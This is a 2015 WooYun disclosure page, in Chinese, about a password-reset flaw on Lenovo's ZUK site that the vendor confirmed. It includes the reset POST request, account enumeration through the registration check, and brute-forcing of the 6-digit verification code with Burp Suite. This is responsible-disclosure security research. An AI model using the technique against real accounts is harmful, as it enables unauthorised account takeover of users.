当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0122586

漏洞标题：联想旗下—ZUK手机官网任意用户密码重置（暴力破解）

相关厂商：联想

漏洞作者： wkc_2014

提交时间：2015-06-24 22:24

修复时间：2015-08-09 15:48

公开时间：2015-08-09 15:48

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-24： 细节已通知厂商并且等待厂商处理中
2015-06-25： 厂商已经确认，细节仅向厂商公开
2015-07-05： 细节向核心白帽子及相关领域专家公开
2015-07-15： 细节向普通白帽子公开
2015-07-25： 细节向实习白帽子公开
2015-08-09： 细节向公众公开

简要描述：

RT

详细说明：

官网：
http://www.zuk.com/
通过邮箱找回密码，得到一个链接

https://passport.lenovo.com/wauthen3/wauth/jsp/resetPasswordNew.jsp?lenovoid.action=null&lenovoid.realm=null&lenovoid.ctx=null&lenovoid.lang=null&lenovoid.uinfo=null&lenovoid.cb=null&lenovoid.vp=null&lenovoid.display=null&lenovoid_idp=null&lenovoid.source=null&lang=null&username=********@qq.com&verifyCode=293294


post请求如下：

POST /wauthen3/resetPassword HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: https://passport.lenovo.com/wauthen3/wauth/jsp/resetPasswordNew.jsp?lenovoid.action=null&lenovoid.realm=null&lenovoid.ctx=null&lenovoid.lang=null&lenovoid.uinfo=null&lenovoid.cb=null&lenovoid.vp=null&lenovoid.display=null&lenovoid_idp=null&lenovoid.source=null&lang=null&username=********@qq.com&verifyCode=293294
Accept-Language: zh-CN
*************************
*************************
lenovoid.action=null&lenovoid.realm=null&lenovoid.ctx=null&lenovoid.lang=null&lenovoid.uinfo=null&lenovoid.cb=null&lenovoid.vb=null&lenovoid.display=null&lenovoid.idp=null&lenovoid.source=null&username=********@qq.com&verifyCode=293294&password=wooyun123&textfield=wooyun123


通过手机验证码找回，重置密码的链接和上述post请求类似，只是referer不同
论坛中找到一个用户：http://bbs.zuk.cn/space.php?uid=416

usr.png


通过注册功能提示邮箱是否已注册，找了一份字典用burpsuite简单的跑了一下，注册用户还是很多的。

yonghu.png


以论坛中找到的手机号码为例：
找回密码处输入这个手机号码，会发送一个验证码。
然后重置密码的时候把username修改为该用户的手机号码，用burpsuite遍历verifycode

漏洞证明：

只能说自己运气好点。。。一不留神就给爆破出来了

1.png


新密码登录

2.png


修复方案：

版权声明：转载请注明来源 wkc_2014@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-06-25 15:46

厂商回复：

感谢您对联想信息安全工作的关注与支持！
联想于2015年4月启用安全应急响应中心（LSRC），欢迎大家向我们反馈联想产品、服务和业务系统的安全漏洞，以帮助我们提升产品和业务的安全性。相关细则请登录安全应急响应中心站点(http://lsrc点lenovo点com )

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-25 09:01 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    小厂商了？？

  2. 2015-06-25 10:09 | wkc_2014 ( 普通白帽子 | Rank:164 漏洞数:45 | 2014-)

    @大亮，貌似是。。

  3. 2015-08-24 18:29 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    6位数验证码爆破...